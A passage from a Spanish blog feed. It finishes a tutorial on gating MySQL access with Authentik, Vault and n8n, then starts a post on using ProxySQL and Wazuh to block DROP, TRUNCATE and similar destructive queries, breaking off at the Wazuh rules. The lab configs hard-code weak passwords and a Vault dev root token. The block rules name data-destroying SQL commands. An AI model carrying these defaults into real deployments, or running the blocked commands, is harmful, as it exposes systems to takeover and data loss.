<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761680492934/12f06c8d-b96c-46a2-a988-d78d7b57ad91.png" alt class="image--center mx-auto" /></p>
<p>Transporte de Notificacion</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761680560042/f381ca7c-d473-45f7-b1b1-233ba2ca8750.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-vault">Vault</h3>
<p>Vamos agregar los roles, usando la Base de Datos que ya tenemos. Podríamos agregar las que desearemos.</p>
<p>Primero habilitamos los secretos.</p>
<pre><code class="lang-xml">docker exec -e VAULT_TOKEN='root' vault vault secrets enable database
</code></pre>
<p>Luego configuramos la conexión con MySQL.</p>
<pre><code class="lang-xml"># Configurar la conexión
docker exec -e VAULT_TOKEN='root' vault vault write database/config/mysql-test \
    plugin_name=mysql-database-plugin \
    allowed_roles="mysql-readonly,mysql-readwrite,mysql-admin" \
    connection_url="{{username}}:{{password}}@tcp(mysql-test:3306)/testdb" \
    username="root" \
    password="rootpass123"
</code></pre>
<p>Ahora los roles que necesitamos, para esta Prueba.</p>
<pre><code class="lang-xml"># Crear roles
docker exec -e VAULT_TOKEN='root' vault vault write database/roles/mysql-readonly \
    db_name=mysql-test \
    creation_statements="CREATE USER '{{name}}'@'%' IDENTIFIED BY '{{password}}'; GRANT SELECT ON testdb.* TO '{{name}}'@'%';" \
    default_ttl="1h" \
    max_ttl="24h"

docker exec -e VAULT_TOKEN='root' vault vault write database/roles/mysql-readwrite \
    db_name=mysql-test \
    creation_statements="CREATE USER '{{name}}'@'%' IDENTIFIED BY '{{password}}'; GRANT SELECT, INSERT, UPDATE, DELETE ON testdb.* TO '{{name}}'@'%';" \
    default_ttl="1h" \
    max_ttl="2h"
</code></pre>
<p>Agregamos la politica para N8N</p>
<pre><code class="lang-xml">vault policy write n8n-policy - <span class="hljs-tag">&lt;&lt;<span class="hljs-attr">EOF</span>
<span class="hljs-attr">path</span> "<span class="hljs-attr">database</span>/<span class="hljs-attr">creds</span>/*" {
  <span class="hljs-attr">capabilities</span> = <span class="hljs-string">[</span>"<span class="hljs-attr">read</span>"]
}
<span class="hljs-attr">path</span> "<span class="hljs-attr">sys</span>/<span class="hljs-attr">leases</span>/<span class="hljs-attr">revoke</span>" {
  <span class="hljs-attr">capabilities</span> = <span class="hljs-string">[</span>"<span class="hljs-attr">update</span>"]
}
<span class="hljs-attr">EOF</span></span>
</code></pre>
<p>Creamos el Token, para que N8N pueda dialogar con Vault.</p>
<pre><code class="lang-xml">vault token create -policy=n8n-policy -ttl=8760h
</code></pre>
<h3 id="heading-auditoria">Auditoria</h3>
<p>Vamos a generar un base de datos, donde guardaremos todos los pedidos.</p>
<pre><code class="lang-xml">docker exec -it mysql-test mysql -u root -prootpass123
</code></pre>
<p>Ejecutamos</p>
<pre><code class="lang-xml">-- Usar la base de datos (o crear una nueva)
USE testdb;

-- O crear una base de datos específica para esto:
-- CREATE DATABASE db_access_manager;
-- USE db_access_manager;

-- Crear tabla de solicitudes
CREATE TABLE IF NOT EXISTS access_requests (
  id INT AUTO_INCREMENT PRIMARY KEY,
  request_id VARCHAR(100) UNIQUE NOT NULL,
  user_email VARCHAR(255) NOT NULL,
  user_username VARCHAR(255) NOT NULL,
  user_fullname VARCHAR(255) NOT NULL,
  database_name VARCHAR(100) NOT NULL,
  database_label VARCHAR(255) NOT NULL,
  access_type VARCHAR(50) NOT NULL,
  duration VARCHAR(10) NOT NULL,
  reason TEXT NOT NULL,
  status VARCHAR(20) DEFAULT 'pending',
  requested_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  approved_by VARCHAR(255) NULL,
  approved_at TIMESTAMP NULL,
  rejection_reason TEXT NULL,
  vault_role VARCHAR(100) NOT NULL,
  db_host VARCHAR(255) NOT NULL,
  db_port INT NOT NULL,
  db_name VARCHAR(255) NOT NULL,
  db_type VARCHAR(50) NOT NULL,
  credentials_username VARCHAR(255) NULL,
  credentials_sent BOOLEAN DEFAULT FALSE,
  INDEX idx_request_id (request_id),
  INDEX idx_status (status),
  INDEX idx_user_email (user_email),
  INDEX idx_requested_at (requested_at)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Verificar que se creó correctamente
DESCRIBE access_requests;

-- Ver las tablas
SHOW TABLES;
</code></pre>
<p>Agregamos las credenciales de MySQL a N8N</p>
<h3 id="heading-workflows">Workflows</h3>
<p>Aquí están los 4 que usaremos. Ahora los revisaremos uno por uno.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761679498159/c25448dc-7abe-44d8-b5b1-76144824d716.png" alt class="image--center mx-auto" /></p>
<p>El primero que se dispara es el <code>Init DB Request Form</code> que es llamado por Authentik. En este caso el usuario solicita el acceso, pero antes de solicitarselo a <strong>Vault</strong> es necesario que los integrantes de <strong>SecOps</strong> aprueben esta solicitud. El formulario ejecuta <code>Get Available Databases</code>, para saber cuales tenemos cargadas en <strong>Vault</strong> para administrar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761679648308/35ceaedb-d594-4c7b-b6dc-653c69f58fc0.png" alt class="image--center mx-auto" /></p>
<p>Al solicitar el acceso, se ejecuta Database Access Processor para el envío de correo, de modo que le llegue al equipo de SecOps.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761679751158/5eae15ea-df7b-497d-8fb8-61958e8706f3.png" alt class="image--center mx-auto" /></p>
<p>Mientras tanto, en la Base de Datos de Auditoría, ya tenemos el registro del pedido.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761679805729/fa159b34-22b6-4aeb-8634-7198c6cd35f2.png" alt class="image--center mx-auto" /></p>
<p>Una vez que se apruebe o rechace se ejecuta Process Email Approval. Que tiene estos pasos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761680072249/27df647d-f81b-4cee-a9c8-8ebab0290d39.png" alt class="image--center mx-auto" /></p>
<p>Donde se verifica si el token es válido, si existe una solicitud y, según la aprobación o no por parte de SecOps, se ejecuta la aplicación de permisos. En este caso de prueba, vamos a seleccionar <em>aprobar</em>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761680193463/efc542d3-0c2a-45c3-9ac7-8b03c3163a2f.png" alt class="image--center mx-auto" /></p>
<p>Mientras que el usuario le llega este correo, con todos los datos necesarios.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761680218273/2bb35457-dd4b-49c5-a94e-798ba78d756d.png" alt class="image--center mx-auto" /></p>
<p>Aquí les dejo un resumen de los tiempos de ejecución.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761680293719/e01849d2-1e64-4d3a-9c96-dffa91c5f658.png" alt class="image--center mx-auto" /></p>
<p>Lógicamente, el registro de auditoría cambió de estado, incluyendo todos los datos de aprobación.</p>
<p>Aca el Docker Compose.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'3'</span>

<span class="hljs-attr">networks:</span>
  <span class="hljs-attr">ldap_network:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">bridge</span>

<span class="hljs-attr">services:</span>
  <span class="hljs-comment"># PostgreSQL para Authentik</span>
  <span class="hljs-attr">postgresql:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.io/library/postgres:16-alpine</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">authentik-db</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">healthcheck:</span>
      <span class="hljs-attr">test:</span> [<span class="hljs-string">"CMD-SHELL"</span>, <span class="hljs-string">"pg_isready -d $${POSTGRES_DB} -U $${POSTGRES_USER}"</span>]
      <span class="hljs-attr">start_period:</span> <span class="hljs-string">20s</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">retries:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">5s</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgres-data:/var/lib/postgresql/data</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">${PG_PASS:-admin123}</span>
      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">${PG_USER:-authentik}</span>
      <span class="hljs-attr">POSTGRES_DB:</span> <span class="hljs-string">${PG_DB:-authentik}</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>

  <span class="hljs-comment"># Redis para Authentik</span>
  <span class="hljs-attr">redis:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.io/library/redis:alpine</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">authentik-redis</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">--save</span> <span class="hljs-number">60</span> <span class="hljs-number">1</span> <span class="hljs-string">--loglevel</span> <span class="hljs-string">warning</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">healthcheck:</span>
      <span class="hljs-attr">test:</span> [<span class="hljs-string">"CMD-SHELL"</span>, <span class="hljs-string">"redis-cli ping | grep PONG"</span>]
      <span class="hljs-attr">start_period:</span> <span class="hljs-string">20s</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">retries:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">3s</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redis-data:/data</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>

  <span class="hljs-comment"># Authentik Server</span>
  <span class="hljs-attr">server:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/goauthentik/server:2024.8.3</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">authentik-server</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">server</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">AUTHENTIK_REDIS__HOST:</span> <span class="hljs-string">redis</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__HOST:</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__USER:</span> <span class="hljs-string">${PG_USER:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__NAME:</span> <span class="hljs-string">${PG_DB:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__PASSWORD:</span> <span class="hljs-string">${PG_PASS:-admin123}</span>
      <span class="hljs-attr">AUTHENTIK_SECRET_KEY:</span> <span class="hljs-string">${AUTHENTIK_SECRET_KEY:-changeme-please-generate-a-secret-key}</span>
      <span class="hljs-attr">AUTHENTIK_ERROR_REPORTING__ENABLED:</span> <span class="hljs-string">"false"</span>
      <span class="hljs-comment"># Para integración con LDAP</span>
      <span class="hljs-attr">AUTHENTIK_LDAP__HOST:</span> <span class="hljs-string">openldap</span>
      <span class="hljs-attr">AUTHENTIK_LDAP__PORT:</span> <span class="hljs-number">389</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./authentik/media:/media</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./authentik/custom-templates:/templates</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"9000:9000"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"9443:9443"</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redis</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">openldap</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>

  <span class="hljs-comment"># Authentik Worker</span>
  <span class="hljs-attr">worker:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/goauthentik/server:2024.8.3</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">authentik-worker</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">worker</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">AUTHENTIK_REDIS__HOST:</span> <span class="hljs-string">redis</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__HOST:</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__USER:</span> <span class="hljs-string">${PG_USER:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__NAME:</span> <span class="hljs-string">${PG_DB:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__PASSWORD:</span> <span class="hljs-string">${PG_PASS:-admin123}</span>
      <span class="hljs-attr">AUTHENTIK_SECRET_KEY:</span> <span class="hljs-string">${AUTHENTIK_SECRET_KEY:-changeme-please-generate-a-secret-key}</span>
      <span class="hljs-attr">AUTHENTIK_ERROR_REPORTING__ENABLED:</span> <span class="hljs-string">"false"</span>
    <span class="hljs-attr">user:</span> <span class="hljs-string">root</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">/var/run/docker.sock:/var/run/docker.sock</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./authentik/media:/media</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./authentik/certs:/certs</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./authentik/custom-templates:/templates</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redis</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">openldap</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>

  <span class="hljs-comment"># OpenLDAP</span>
  <span class="hljs-attr">openldap:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">osixia/openldap:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">openldap</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">LDAP_BASE_DN:</span> <span class="hljs-string">"dc=ironbox,dc=local"</span>
      <span class="hljs-attr">LDAP_ORGANISATION:</span> <span class="hljs-string">"Ironbox"</span>
      <span class="hljs-attr">LDAP_DOMAIN:</span> <span class="hljs-string">"ironbox.local"</span>
      <span class="hljs-attr">LDAP_ADMIN_PASSWORD:</span> <span class="hljs-string">"admin"</span>
      <span class="hljs-attr">LDAP_TLS:</span> <span class="hljs-string">"false"</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./ldap/bootstrap.ldif:/container/service/slapd/assets/config/bootstrap/ldif/custom/50-bootstrap.ldif</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap-data:/var/lib/ldap</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap-config:/etc/ldap/slapd.d</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"389:389"</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">--copy-service</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>

<span class="hljs-comment"># phpLDAPadmin</span>
  <span class="hljs-attr">phpldapadmin:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">osixia/phpldapadmin:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">phpldapadmin</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">PHPLDAPADMIN_LDAP_HOSTS:</span> <span class="hljs-string">openldap</span>
      <span class="hljs-attr">PHPLDAPADMIN_HTTPS:</span> <span class="hljs-string">"false"</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"8081:80"</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">openldap</span>

  <span class="hljs-comment"># N8N - Workflow Automation</span>
  <span class="hljs-attr">n8n:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">n8nio/n8n:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">n8n</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"5678:5678"</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_BASIC_AUTH_ACTIVE=true</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_BASIC_AUTH_USER=admin</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_BASIC_AUTH_PASSWORD=admin123</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_HOST=localhost</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_PORT=5678</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_PROTOCOL=http</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">WEBHOOK_URL=http://localhost:5678/</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">GENERIC_TIMEZONE=America/Argentina/Buenos_Aires</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">n8n-data:/home/node/.n8n</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>

  <span class="hljs-comment"># HashiCorp Vault</span>
  <span class="hljs-attr">vault:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">hashicorp/vault:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">vault</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"8200:8200"</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">VAULT_DEV_ROOT_TOKEN_ID:</span> <span class="hljs-string">"root"</span>
      <span class="hljs-attr">VAULT_DEV_LISTEN_ADDRESS:</span> <span class="hljs-string">"0.0.0.0:8200"</span>
      <span class="hljs-attr">VAULT_ADDR:</span> <span class="hljs-string">"http://0.0.0.0:8200"</span>
    <span class="hljs-attr">cap_add:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">IPC_LOCK</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">server</span> <span class="hljs-string">-dev</span>
  <span class="hljs-comment"># MySQL de prueba</span>
  <span class="hljs-attr">mysql-test:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">mysql:8.0</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">mysql-test</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">MYSQL_ROOT_PASSWORD:</span> <span class="hljs-string">rootpass123</span>
      <span class="hljs-attr">MYSQL_DATABASE:</span> <span class="hljs-string">testdb</span>
      <span class="hljs-attr">MYSQL_USER:</span> <span class="hljs-string">testuser</span>
      <span class="hljs-attr">MYSQL_PASSWORD:</span> <span class="hljs-string">testpass123</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"3306:3306"</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ldap_network</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">mysql_data:/var/lib/mysql</span>
<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">postgres-data:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
  <span class="hljs-attr">redis-data:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
  <span class="hljs-attr">ldap-data:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
  <span class="hljs-attr">ldap-config:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
  <span class="hljs-attr">n8n-data:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
  <span class="hljs-attr">mysql_data:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
</code></pre>
<p>¡Espero que les sirva! Les dejo el <a target="_blank" href="https://github.com/safernandez666/AuthentikWithVault">repositorio</a> y un pequeño video para que vean lo que hemos creado.</p>
<p>Saludos.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=lGBp7TG7FVk">https://www.youtube.com/watch?v=lGBp7TG7FVk</a></div>
<p> </p>
<h3 id="heading-referencias">Referencias</h3>
<p><a target="_blank" href="https://helgeklein-com.translate.goog/blog/authentik-authentication-sso-user-management-password-reset-for-home-networks/?_x_tr_sl=en&amp;_x_tr_tl=es&amp;_x_tr_hl=es&amp;_x_tr_pto=tc">https://helgeklein-com.translate.goog/blog/authentik-authentication-sso-user-management-password-reset-for-home-networks/?_x_tr_sl=en&amp;_x_tr_tl=es&amp;_x_tr_hl=es&amp;_x_tr_pto=tc</a></p>
]]></content:encoded></item><item><title><![CDATA[Cuando el SQL se pone peligroso: automatizando defensa con ProxySQL y Wazuh]]></title><description><![CDATA[Introducción
En el blog hemos implementado de todo, pero nunca un Monitoreo de Actividad de Base de Datos o un Firewall de Base de Datos, que utilizaremos para vigilar y registrar cada acción realizada en un sistema de bases de datos. Esto garantiza ...]]></description><link>https://blog.santiagoagustinfernandez.com/cuando-el-sql-se-pone-peligroso-automatizando-defensa-con-proxysql-y-wazuh</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/cuando-el-sql-se-pone-peligroso-automatizando-defensa-con-proxysql-y-wazuh</guid><category><![CDATA[proxy]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Tue, 21 Oct 2025 23:04:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761087773839/3f1a9a0e-a469-46a4-bd58-c63e9889260c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduccion">Introducción</h3>
<p>En el blog hemos implementado de todo, pero nunca un <strong>Monitoreo de Actividad de Base de Datos</strong> o un <strong>Firewall de Base de Datos</strong>, que utilizaremos para vigilar y registrar cada acción realizada en un sistema de bases de datos. Esto garantiza el acceso correcto a los datos, detecta actividades no autorizadas o sospechosas, y protege la información confidencial.</p>
<p>Imaginemos un escenario donde hemos sido vulnerados o, en su defecto, un empleado descontento que quiere ejecutar un <strong>DROP</strong>. Vamos a implementar <a target="_blank" href="https://proxysql.com/">ProxySQL</a> para que esté en el medio entre el cliente y la base de datos y generar reglas para permitir o no comandos.</p>
<h3 id="heading-arquitectura">Arquitectura</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761059216187/a328a06d-4cfc-437b-8409-b7b4a81a5a9a.png" alt class="image--center mx-auto" /></p>
<p><strong>ProxySQL</strong></p>
<p>Es un <strong>proxy inteligente para bases de datos MySQL/MariaDB</strong>.</p>
<p>En pocas líneas 👇</p>
<ul>
<li><p>Se ubica <strong>entre la aplicación y el servidor MySQL</strong>.</p>
</li>
<li><p>Permite <strong>filtrar, enrutar y balancear queries</strong> (por ejemplo, leer en réplicas y escribir en el master).</p>
</li>
<li><p>Puede <strong>bloquear o reescribir consultas peligrosas</strong> (<code>DROP</code>, <code>TRUNCATE</code>, etc.).</p>
</li>
<li><p>Mejora el rendimiento con <strong>cacheo de queries</strong> y <strong>pool de conexiones</strong>.</p>
</li>
<li><p>Facilita la <strong>observabilidad y control de tráfico SQL</strong> sin modificar la app.</p>
</li>
</ul>
<p>👉 <strong>ProxySQL no puede modificar los datos devueltos por MySQL (como hashearlos u ofuscarlos)</strong>, porque <strong>trabaja a nivel de capa de conexión y enrutamiento</strong>, no de contenido.<br />Su función principal es decidir <em>a dónde va una query</em>, si se permite o no, o si se reescribe <strong>antes</strong> de ejecutarse — pero <strong>no procesa ni altera los resultados que vienen del servidor</strong>. Ahi tenemos que aplicar Hasheo u ofuscación en el propio <strong>MySQL</strong> o consumir a traves de API que realice ese trabajo.</p>
<p>Vamos a lo nuestro. Todo estará en el repositorio, pero echemos un vistazo a <code>config/proxysql/proxysql.cnf</code>.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># config/proxysql/proxysql.cnf</span>
datadir=<span class="hljs-string">"/var/lib/proxysql"</span>

admin_variables=
{
    admin_credentials=<span class="hljs-string">"admin:admin"</span>
    mysql_ifaces=<span class="hljs-string">"0.0.0.0:6032"</span>
    refresh_interval=2000
}

mysql_variables=
{
    threads=4
    max_connections=2048
    default_query_delay=0
    default_query_timeout=36000000
    have_compress=<span class="hljs-literal">true</span>
    poll_timeout=2000
    interfaces=<span class="hljs-string">"0.0.0.0:6033"</span>
    default_schema=<span class="hljs-string">"information_schema"</span>
    stacksize=1048576
    server_version=<span class="hljs-string">"8.0.0"</span>
    connect_timeout_server=3000
    monitor_username=<span class="hljs-string">"monitor"</span>
    monitor_password=<span class="hljs-string">"monitor"</span>
    monitor_history=600000
    monitor_connect_interval=60000
    monitor_ping_interval=10000
    monitor_read_only_interval=1500
    monitor_read_only_timeout=500
    ping_interval_server_msec=120000
    ping_timeout_server=500
    commands_stats=<span class="hljs-literal">true</span>
    sessions_sort=<span class="hljs-literal">true</span>
    connect_retries_on_failure=10

    <span class="hljs-comment"># LOGGING</span>
    eventslog_filename=<span class="hljs-string">"/var/log/proxysql/queries.log"</span>
    eventslog_default_log=1
    eventslog_format=2
}

<span class="hljs-comment"># Backend MySQL servers</span>
mysql_servers =
(
    {
        address=<span class="hljs-string">"mysql-db"</span>
        port=3306
        hostgroup=0
        max_connections=200
    }
)

<span class="hljs-comment"># Users</span>
mysql_users =
(
    {
        username = <span class="hljs-string">"app_user"</span>
        password = <span class="hljs-string">"app_password"</span>
        default_hostgroup = 0
        max_connections = 200
        active = 1
    }
)

<span class="hljs-comment"># Query Rules - AQU BLOQUEAMOS COMANDOS PELIGROSOS</span>
mysql_query_rules =
(
    <span class="hljs-comment"># BLOQUEAR DROP</span>
    {
        rule_id=1
        active=1
        match_pattern=<span class="hljs-string">"(?i)^\\s*DROP\\s+(TABLE|DATABASE|SCHEMA)"</span>
        error_msg=<span class="hljs-string">"ERROR: DROP statements estan bloqueados por politica de seguridad"</span>
        <span class="hljs-built_in">log</span>=1
        apply=1
    },
    <span class="hljs-comment"># BLOQUEAR TRUNCATE</span>
    {
        rule_id=2
        active=1
        match_pattern=<span class="hljs-string">"(?i)^\\s*TRUNCATE\\s+TABLE"</span>
        error_msg=<span class="hljs-string">"ERROR: TRUNCATE TABLE esta bloqueado por politica de seguridad"</span>
        <span class="hljs-built_in">log</span>=1
        apply=1
    },
    <span class="hljs-comment"># BLOQUEAR DELETE SIN WHERE</span>
    {
        rule_id=3
        active=1
        match_pattern=<span class="hljs-string">"(?i)^\\s*DELETE\\s+FROM\\s+[a-zA-Z0-9_]+\\s*;?\\s*$"</span>
        error_msg=<span class="hljs-string">"ERROR: DELETE sin WHERE no esta permitido"</span>
        <span class="hljs-built_in">log</span>=1
        apply=1
    },
    <span class="hljs-comment"># BLOQUEAR UPDATE SIN WHERE</span>
    {
        rule_id=4
        active=1
        match_pattern=<span class="hljs-string">"(?i)^\\s*UPDATE\\s+[a-zA-Z0-9_]+\\s+SET\\s+(?!.*WHERE).*$"</span>
        error_msg=<span class="hljs-string">"ERROR: UPDATE sin WHERE no esta permitido"</span>
        <span class="hljs-built_in">log</span>=1
        apply=1
    },
    <span class="hljs-comment"># BLOQUEAR ALTER TABLE</span>
    {
        rule_id=5
        active=1
        match_pattern=<span class="hljs-string">"(?i)^\\s*ALTER\\s+TABLE"</span>
        error_msg=<span class="hljs-string">"ERROR: ALTER TABLE esta bloqueado - contacte al DBA"</span>
        <span class="hljs-built_in">log</span>=1
        apply=1
    },
    <span class="hljs-comment"># BLOQUEAR GRANT/REVOKE</span>
    {
        rule_id=6
        active=1
        match_pattern=<span class="hljs-string">"(?i)^\\s*(GRANT|REVOKE)"</span>
        error_msg=<span class="hljs-string">"ERROR: Cambios de permisos no permitidos"</span>
        <span class="hljs-built_in">log</span>=1
        apply=1
    },
    <span class="hljs-comment"># PERMITIR TODO LO DEMAS</span>
    {
        rule_id=100
        active=1
        match_pattern=<span class="hljs-string">".*"</span>
        destination_hostgroup=0
        <span class="hljs-built_in">log</span>=1
        apply=1
    }
)
</code></pre>
<p>Ahora las reglas de Wazuh en <code>config/wazuh_cluster/proxysql-rules.xml</code></p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!-- config/wazuh_cluster/proxysql-rules.xml --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">group</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"proxysql,database,firewall,"</span>&gt;</span>

